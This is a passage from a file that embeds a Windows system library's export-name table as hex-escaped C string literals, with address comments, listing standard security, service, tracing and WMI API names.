7E298C40 */   \"\\x53\\x61\\x66\\x65\\x72\\x43\\x72\\x65\\x61\\x74\\x65\\x4C\\x65\\x76\\x65\\x6C\"   //SaferCreateLevel\n/* 7E298C60 */   \"\\x00\\x53\\x61\\x66\\x65\\x72\\x47\\x65\\x74\\x4C\\x65\\x76\\x65\\x6C\\x49\\x6E\"   //.SaferGetLevelIn\n/* 7E298C80 */   \"\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x61\\x66\\x65\\x72\\x47\"   //formation.SaferG\n/* 7E298CA0 */   \"\\x65\\x74\\x50\\x6F\\x6C\\x69\\x63\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\"   //etPolicyInformat\n/* 7E298CC0 */   \"\\x69\\x6F\\x6E\\x00\\x53\\x61\\x66\\x65\\x72\\x49\\x64\\x65\\x6E\\x74\\x69\\x66\"   //ion.SaferIdentif\n/* 7E298CE0 */   \"\\x79\\x4C\\x65\\x76\\x65\\x6C\\x00\\x53\\x61\\x66\\x65\\x72\\x52\\x65\\x63\\x6F\"   //yLevel.SaferReco\n/* 7E298D00 */   \"\\x72\\x64\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x45\\x6E\\x74\\x72\\x79\\x00\"   //rdEventLogEntry.\n/* 7E298D20 */   \"\\x53\\x61\\x66\\x65\\x72\\x53\\x65\\x74\\x4C\\x65\\x76\\x65\\x6C\\x49\\x6E\\x66\"   //SaferSetLevelInf\n/* 7E298D40 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x61\\x66\\x65\\x72\\x53\\x65\"   //ormation.SaferSe\n/* 7E298D60 */   \"\\x74\\x50\\x6F\\x6C\\x69\\x63\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\"   //tPolicyInformati\n/* 7E298D80 */   \"\\x6F\\x6E\\x00\\x53\\x61\\x66\\x65\\x72\\x69\\x43\\x68\\x61\\x6E\\x67\\x65\\x52\"   //on.SaferiChangeR\n/* 7E298DA0 */   \"\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x53\\x63\\x6F\\x70\\x65\\x00\\x53\\x61\\x66\"   //egistryScope.Saf\n/* 7E298DC0 */   \"\\x65\\x72\\x69\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x4C\"   //eriCompareTokenL\n/* 7E298DE0 */   \"\\x65\\x76\\x65\\x6C\\x73\\x00\\x53\\x61\\x66\\x65\\x72\\x69\\x49\\x73\\x45\\x78\"   //evels.SaferiIsEx\n/* 7E298E00 */   \"\\x65\\x63\\x75\\x74\\x61\\x62\\x6C\\x65\\x46\\x69\\x6C\\x65\\x54\\x79\\x70\\x65\"   //ecutableFileType\n/* 7E298E20 */   \"\\x00\\x53\\x61\\x66\\x65\\x72\\x69\\x50\\x6F\\x70\\x75\\x6C\\x61\\x74\\x65\\x44\"   //.SaferiPopulateD\n/* 7E298E40 */   \"\\x65\\x66\\x61\\x75\\x6C\\x74\\x73\\x49\\x6E\\x52\\x65\\x67\\x69\\x73\\x74\\x72\"   //efaultsInRegistr\n/* 7E298E60 */   \"\\x79\\x00\\x53\\x61\\x66\\x65\\x72\\x69\\x52\\x65\\x63\\x6F\\x72\\x64\\x45\\x76\"   //y.SaferiRecordEv\n/* 7E298E80 */   \"\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x45\\x6E\\x74\\x72\\x79\\x00\\x53\\x61\\x66\\x65\"   //entLogEntry.Safe\n/* 7E298EA0 */   \"\\x72\\x69\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\"   //riReplaceProcess\n/* 7E298EC0 */   \"\\x54\\x68\\x72\\x65\\x61\\x64\\x54\\x6F\\x6B\\x65\\x6E\\x73\\x00\\x53\\x61\\x66\"   //ThreadTokens.Saf\n/* 7E298EE0 */   \"\\x65\\x72\\x69\\x53\\x65\\x61\\x72\\x63\\x68\\x4D\\x61\\x74\\x63\\x68\\x69\\x6E\"   //eriSearchMatchin\n/* 7E298F00 */   \"\\x67\\x48\\x61\\x73\\x68\\x52\\x75\\x6C\\x65\\x73\\x00\\x53\\x65\\x74\\x41\\x63\"   //gHashRules.SetAc\n/* 7E298F20 */   \"\\x6C\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x65\\x74\"   //lInformation.Set\n/* 7E298F40 */   \"\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\\x6E\\x41\\x63\\x63\\x65\\x73\\x73\\x4C\"   //EntriesInAccessL\n/* 7E298F60 */   \"\\x69\\x73\\x74\\x41\\x00\\x53\\x65\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\"   //istA.SetEntriesI\n/* 7E298F80 */   \"\\x6E\\x41\\x63\\x63\\x65\\x73\\x73\\x4C\\x69\\x73\\x74\\x57\\x00\\x53\\x65\\x74\"   //nAccessListW.Set\n/* 7E298FA0 */   \"\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\\x6E\\x41\\x63\\x6C\\x41\\x00\\x53\\x65\"   //EntriesInAclA.Se\n/* 7E298FC0 */   \"\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\\x6E\\x41\\x63\\x6C\\x57\\x00\\x53\"   //tEntriesInAclW.S\n/* 7E298FE0 */   \"\\x65\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x49\\x6E\\x41\\x75\\x64\\x69\\x74\"   //etEntriesInAudit\n/* 7E299000 */   \"\\x4C\\x69\\x73\\x74\\x41\\x00\\x53\\x65\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\"   //ListA.SetEntries\n/* 7E299020 */   \"\\x49\\x6E\\x41\\x75\\x64\\x69\\x74\\x4C\\x69\\x73\\x74\\x57\\x00\\x53\\x65\\x74\"   //InAuditListW.Set\n/* 7E299040 */   \"\\x46\\x69\\x6C\\x65\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x41\\x00\\x53\\x65\"   //FileSecurityA.Se\n/* 7E299060 */   \"\\x74\\x46\\x69\\x6C\\x65\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x57\\x00\\x53\"   //tFileSecurityW.S\n/* 7E299080 */   \"\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x64\"   //etInformationCod\n/* 7E2990A0 */   \"\\x65\\x41\\x75\\x74\\x68\\x7A\\x4C\\x65\\x76\\x65\\x6C\\x57\\x00\\x53\\x65\\x74\"   //eAuthzLevelW.Set\n/* 7E2990C0 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x64\\x65\\x41\"   //InformationCodeA\n/* 7E2990E0 */   \"\\x75\\x74\\x68\\x7A\\x50\\x6F\\x6C\\x69\\x63\\x79\\x57\\x00\\x53\\x65\\x74\\x4B\"   //uthzPolicyW.SetK\n/* 7E299100 */   \"\\x65\\x72\\x6E\\x65\\x6C\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\"   //ernelObjectSecur\n/* 7E299120 */   \"\\x69\\x74\\x79\\x00\\x53\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\"   //ity.SetNamedSecu\n/* 7E299140 */   \"\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x41\\x00\\x53\\x65\\x74\\x4E\\x61\\x6D\"   //rityInfoA.SetNam\n/* 7E299160 */   \"\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\"   //edSecurityInfoEx\n/* 7E299180 */   \"\\x41\\x00\\x53\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\"   //A.SetNamedSecuri\n/* 7E2991A0 */   \"\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x57\\x00\\x53\\x65\\x74\\x4E\\x61\\x6D\"   //tyInfoExW.SetNam\n/* 7E2991C0 */   \"\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x57\\x00\"   //edSecurityInfoW.\n/* 7E2991E0 */   \"\\x53\\x65\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\"   //SetPrivateObject\n/* 7E299200 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x53\\x65\\x74\\x50\\x72\\x69\\x76\"   //Security.SetPriv\n/* 7E299220 */   \"\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //ateObjectSecurit\n/* 7E299240 */   \"\\x79\\x45\\x78\\x00\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\"   //yEx.SetSecurityD\n/* 7E299260 */   \"\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\"   //escriptorControl\n/* 7E299280 */   \"\\x00\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\"   //.SetSecurityDesc\n/* 7E2992A0 */   \"\\x72\\x69\\x70\\x74\\x6F\\x72\\x44\\x61\\x63\\x6C\\x00\\x53\\x65\\x74\\x53\\x65\"   //riptorDacl.SetSe\n/* 7E2992C0 */   \"\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\"   //curityDescriptor\n/* 7E2992E0 */   \"\\x47\\x72\\x6F\\x75\\x70\\x00\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //Group.SetSecurit\n/* 7E299300 */   \"\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x4F\\x77\\x6E\\x65\\x72\"   //yDescriptorOwner\n/* 7E299320 */   \"\\x00\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\"   //.SetSecurityDesc\n/* 7E299340 */   \"\\x72\\x69\\x70\\x74\\x6F\\x72\\x52\\x4D\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\"   //riptorRMControl.\n/* 7E299360 */   \"\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\"   //SetSecurityDescr\n/* 7E299380 */   \"\\x69\\x70\\x74\\x6F\\x72\\x53\\x61\\x63\\x6C\\x00\\x53\\x65\\x74\\x53\\x65\\x63\"   //iptorSacl.SetSec\n/* 7E2993A0 */   \"\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x00\\x53\\x65\\x74\\x53\\x65\\x63\"   //urityInfo.SetSec\n/* 7E2993C0 */   \"\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x41\\x00\\x53\\x65\\x74\"   //urityInfoExA.Set\n/* 7E2993E0 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x57\\x00\"   //SecurityInfoExW.\n/* 7E299400 */   \"\\x53\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x42\\x69\\x74\\x73\\x00\\x53\"   //SetServiceBits.S\n/* 7E299420 */   \"\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\"   //etServiceObjectS\n/* 7E299440 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x53\\x65\\x74\\x53\\x65\\x72\\x76\\x69\"   //ecurity.SetServi\n/* 7E299460 */   \"\\x63\\x65\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x53\\x65\\x74\\x54\\x68\\x72\\x65\"   //ceStatus.SetThre\n/* 7E299480 */   \"\\x61\\x64\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x53\\x65\\x74\\x54\\x6F\\x6B\\x65\\x6E\"   //adToken.SetToken\n/* 7E2994A0 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x65\\x74\\x54\"   //Information.SetT\n/* 7E2994C0 */   \"\\x72\\x61\\x63\\x65\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x00\\x53\\x65\\x74\"   //raceCallback.Set\n/* 7E2994E0 */   \"\\x55\\x73\\x65\\x72\\x46\\x69\\x6C\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x69\"   //UserFileEncrypti\n/* 7E299500 */   \"\\x6F\\x6E\\x4B\\x65\\x79\\x00\\x53\\x74\\x61\\x72\\x74\\x53\\x65\\x72\\x76\\x69\"   //onKey.StartServi\n/* 7E299520 */   \"\\x63\\x65\\x41\\x00\\x53\\x74\\x61\\x72\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //ceA.StartService\n/* 7E299540 */   \"\\x43\\x74\\x72\\x6C\\x44\\x69\\x73\\x70\\x61\\x74\\x63\\x68\\x65\\x72\\x41\\x00\"   //CtrlDispatcherA.\n/* 7E299560 */   \"\\x53\\x74\\x61\\x72\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x74\\x72\\x6C\"   //StartServiceCtrl\n/* 7E299580 */   \"\\x44\\x69\\x73\\x70\\x61\\x74\\x63\\x68\\x65\\x72\\x57\\x00\\x53\\x74\\x61\\x72\"   //DispatcherW.Star\n/* 7E2995A0 */   \"\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x57\\x00\\x53\\x74\\x61\\x72\\x74\\x54\"   //tServiceW.StartT\n/* 7E2995C0 */   \"\\x72\\x61\\x63\\x65\\x41\\x00\\x53\\x74\\x61\\x72\\x74\\x54\\x72\\x61\\x63\\x65\"   //raceA.StartTrace\n/* 7E2995E0 */   \"\\x57\\x00\\x53\\x74\\x6F\\x70\\x54\\x72\\x61\\x63\\x65\\x41\\x00\\x53\\x74\\x6F\"   //W.StopTraceA.Sto\n/* 7E299600 */   \"\\x70\\x54\\x72\\x61\\x63\\x65\\x57\\x00\\x53\\x79\\x6E\\x63\\x68\\x72\\x6F\\x6E\"   //pTraceW.Synchron\n/* 7E299620 */   \"\\x69\\x7A\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x33\\x31\\x46\\x69\\x6C\\x65\"   //izeWindows31File\n/* 7E299640 */   \"\\x73\\x41\\x6E\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x4E\\x54\\x52\\x65\\x67\"   //sAndWindowsNTReg\n/* 7E299660 */   \"\\x69\\x73\\x74\\x72\\x79\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //istry.SystemFunc\n/* 7E299680 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x30\\x31\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion001.SystemFu\n/* 7E2996A0 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\\x32\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction002.System\n/* 7E2996C0 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\\x33\\x00\\x53\\x79\\x73\\x74\"   //Function003.Syst\n/* 7E2996E0 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\\x34\\x00\\x53\\x79\"   //emFunction004.Sy\n/* 7E299700 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\\x35\\x00\"   //stemFunction005.\n/* 7E299720 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\"   //SystemFunction00\n/* 7E299740 */   \"\\x36\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\"   //6.SystemFunction\n/* 7E299760 */   \"\\x30\\x30\\x37\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\"   //007.SystemFuncti\n/* 7E299780 */   \"\\x6F\\x6E\\x30\\x30\\x38\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //on008.SystemFunc\n/* 7E2997A0 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x30\\x39\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion009.SystemFu\n/* 7E2997C0 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x30\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction010.System\n/* 7E2997E0 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x31\\x00\\x53\\x79\\x73\\x74\"   //Function011.Syst\n/* 7E299800 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x32\\x00\\x53\\x79\"   //emFunction012.Sy\n/* 7E299820 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x33\\x00\"   //stemFunction013.\n/* 7E299840 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\"   //SystemFunction01\n/* 7E299860 */   \"\\x34\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\"   //4.SystemFunction\n/* 7E299880 */   \"\\x30\\x31\\x35\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\"   //015.SystemFuncti\n/* 7E2998A0 */   \"\\x6F\\x6E\\x30\\x31\\x36\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //on016.SystemFunc\n/* 7E2998C0 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x31\\x37\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion017.SystemFu\n/* 7E2998E0 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x38\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction018.System\n/* 7E299900 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x39\\x00\\x53\\x79\\x73\\x74\"   //Function019.Syst\n/* 7E299920 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x30\\x00\\x53\\x79\"   //emFunction020.Sy\n/* 7E299940 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x31\\x00\"   //stemFunction021.\n/* 7E299960 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\"   //SystemFunction02\n/* 7E299980 */   \"\\x32\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\"   //2.SystemFunction\n/* 7E2999A0 */   \"\\x30\\x32\\x33\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\"   //023.SystemFuncti\n/* 7E2999C0 */   \"\\x6F\\x6E\\x30\\x32\\x34\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //on024.SystemFunc\n/* 7E2999E0 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x32\\x35\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion025.SystemFu\n/* 7E299A00 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x36\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction026.System\n/* 7E299A20 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x37\\x00\\x53\\x79\\x73\\x74\"   //Function027.Syst\n/* 7E299A40 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x38\\x00\\x53\\x79\"   //emFunction028.Sy\n/* 7E299A60 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x39\\x00\"   //stemFunction029.\n/* 7E299A80 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x33\"   //SystemFunction03\n/* 7E299AA0 */   \"\\x30\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\"   //0.SystemFunction\n/* 7E299AC0 */   \"\\x30\\x33\\x31\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\"   //031.SystemFuncti\n/* 7E299AE0 */   \"\\x6F\\x6E\\x30\\x33\\x32\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //on032.SystemFunc\n/* 7E299B00 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x33\\x33\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion033.SystemFu\n/* 7E299B20 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x33\\x34\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction034.System\n/* 7E299B40 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x33\\x35\\x00\\x53\\x79\\x73\\x74\"   //Function035.Syst\n/* 7E299B60 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x33\\x36\\x00\\x53\\x79\"   //emFunction036.Sy\n/* 7E299B80 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x34\\x30\\x00\"   //stemFunction040.\n/* 7E299BA0 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x34\"   //SystemFunction04\n/* 7E299BC0 */   \"\\x31\\x00\\x54\\x72\\x61\\x63\\x65\\x45\\x76\\x65\\x6E\\x74\\x00\\x54\\x72\\x61\"   //1.TraceEvent.Tra\n/* 7E299BE0 */   \"\\x63\\x65\\x45\\x76\\x65\\x6E\\x74\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x00\"   //ceEventInstance.\n/* 7E299C00 */   \"\\x54\\x72\\x61\\x63\\x65\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x54\\x72\\x61\"   //TraceMessage.Tra\n/* 7E299C20 */   \"\\x63\\x65\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x56\\x61\\x00\\x54\\x72\\x65\\x65\"   //ceMessageVa.Tree\n/* 7E299C40 */   \"\\x52\\x65\\x73\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\"   //ResetNamedSecuri\n/* 7E299C60 */   \"\\x74\\x79\\x49\\x6E\\x66\\x6F\\x41\\x00\\x54\\x72\\x65\\x65\\x52\\x65\\x73\\x65\"   //tyInfoA.TreeRese\n/* 7E299C80 */   \"\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\"   //tNamedSecurityIn\n/* 7E299CA0 */   \"\\x66\\x6F\\x57\\x00\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x41\\x63\\x63\\x65\\x73\"   //foW.TrusteeAcces\n/* 7E299CC0 */   \"\\x73\\x54\\x6F\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x00\\x54\\x72\\x75\\x73\\x74\"   //sToObjectA.Trust\n/* 7E299CE0 */   \"\\x65\\x65\\x41\\x63\\x63\\x65\\x73\\x73\\x54\\x6F\\x4F\\x62\\x6A\\x65\\x63\\x74\"   //eeAccessToObject\n/* 7E299D00 */   \"\\x57\\x00\\x55\\x6E\\x69\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x41\\x70\\x70\\x6C\\x69\"   //W.UninstallAppli\n/* 7E299D20 */   \"\\x63\\x61\\x74\\x69\\x6F\\x6E\\x00\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x53\\x65\\x72\"   //cation.UnlockSer\n/* 7E299D40 */   \"\\x76\\x69\\x63\\x65\\x44\\x61\\x74\\x61\\x62\\x61\\x73\\x65\\x00\\x55\\x6E\\x72\"   //viceDatabase.Unr\n/* 7E299D60 */   \"\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x49\\x64\\x6C\\x65\\x54\\x61\\x73\\x6B\\x00\"   //egisterIdleTask.\n/* 7E299D80 */   \"\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x54\\x72\\x61\\x63\\x65\\x47\"   //UnregisterTraceG\n/* 7E299DA0 */   \"\\x75\\x69\\x64\\x73\\x00\\x55\\x70\\x64\\x61\\x74\\x65\\x54\\x72\\x61\\x63\\x65\"   //uids.UpdateTrace\n/* 7E299DC0 */   \"\\x41\\x00\\x55\\x70\\x64\\x61\\x74\\x65\\x54\\x72\\x61\\x63\\x65\\x57\\x00\\x57\"   //A.UpdateTraceW.W\n/* 7E299DE0 */   \"\\x64\\x6D\\x57\\x6D\\x69\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4D\\x61\\x69\\x6E\"   //dmWmiServiceMain\n/* 7E299E00 */   \"\\x00\\x57\\x6D\\x69\\x43\\x6C\\x6F\\x73\\x65\\x42\\x6C\\x6F\\x63\\x6B\\x00\\x57\"   //.WmiCloseBlock.W\n/* 7E299E20 */   \"\\x6D\\x69\\x43\\x6C\\x6F\\x73\\x65\\x54\\x72\\x61\\x63\\x65\\x57\\x69\\x74\\x68\"   //miCloseTraceWith\n/* 7E299E40 */   \"\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\\x57\\x6D\\x69\\x43\\x6F\\x6E\\x76\\x65\\x72\"   //Cursor.WmiConver\n/* 7E299E60 */   \"\\x74\\x54\\x69\\x6D\\x65\\x73\\x74\\x61\\x6D\\x70\\x00\\x57\\x6D\\x69\\x44\\x65\"   //tTimestamp.WmiDe\n/* 7E299E80 */   \"\\x76\\x49\\x6E\\x73\\x74\\x54\\x6F\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x4E\"   //vInstToInstanceN\n/* 7E299EA0 */   \"\\x61\\x6D\\x65\\x41\\x00\\x57\\x6D\\x69\\x44\\x65\\x76\\x49\\x6E\\x73\\x74\\x54\"   //ameA.WmiDevInstT\n/* 7E299EC0 */   \"\\x6F\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x4E\\x61\\x6D\\x65\\x57\\x00\\x57\"   //oInstanceNameW.W\n/* 7E299EE0 */   \"\\x6D\\x69\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x47\\x75\\x69\\x64\\x73\"   //miEnumerateGuids\n/* 7E299F00 */   \"\\x00\\x57\\x6D\\x69\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x4D\\x65\\x74\\x68\\x6F\"   //.WmiExecuteMetho\n/* 7E299F20 */   \"\\x64\\x41\\x00\\x57\\x6D\\x69\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x4D\\x65\\x74\"   //dA.WmiExecuteMet\n/* 7E299F40 */   \"\\x68\\x6F\\x64\\x57\\x00\\x57\\x6D\\x69\\x46\\x69\\x6C\\x65\\x48\\x61\\x6E\\x64\"   //hodW.WmiFileHand\n/* 7E299F60 */   \"\\x6C\\x65\\x54\\x6F\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x4E\\x61\\x6D\\x65\"   //leToInstanceName\n/* 7E299F80 */   \"\\x41\\x00\\x57\\x6D\\x69\\x46\\x69\\x6C\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x54\"   //A.WmiFileHandleT\n/* 7E299FA0 */   \"\\x6F\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x4E\\x61\\x6D\\x65\\x57\\x00\\x57\"   //oInstanceNameW.W\n/* 7E299FC0 */   \"\\x6D\\x69\\x46\\x72\\x65\\x65\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x57\\x6D\\x69\"   //miFreeBuffer.Wmi\n/* 7E299FE0 */   \"\\x47\\x65\\x74\\x46\\x69\\x72\\x73\\x74\\x54\\x72\\x61\\x63\\x65\\x4F\\x66\\x66\"   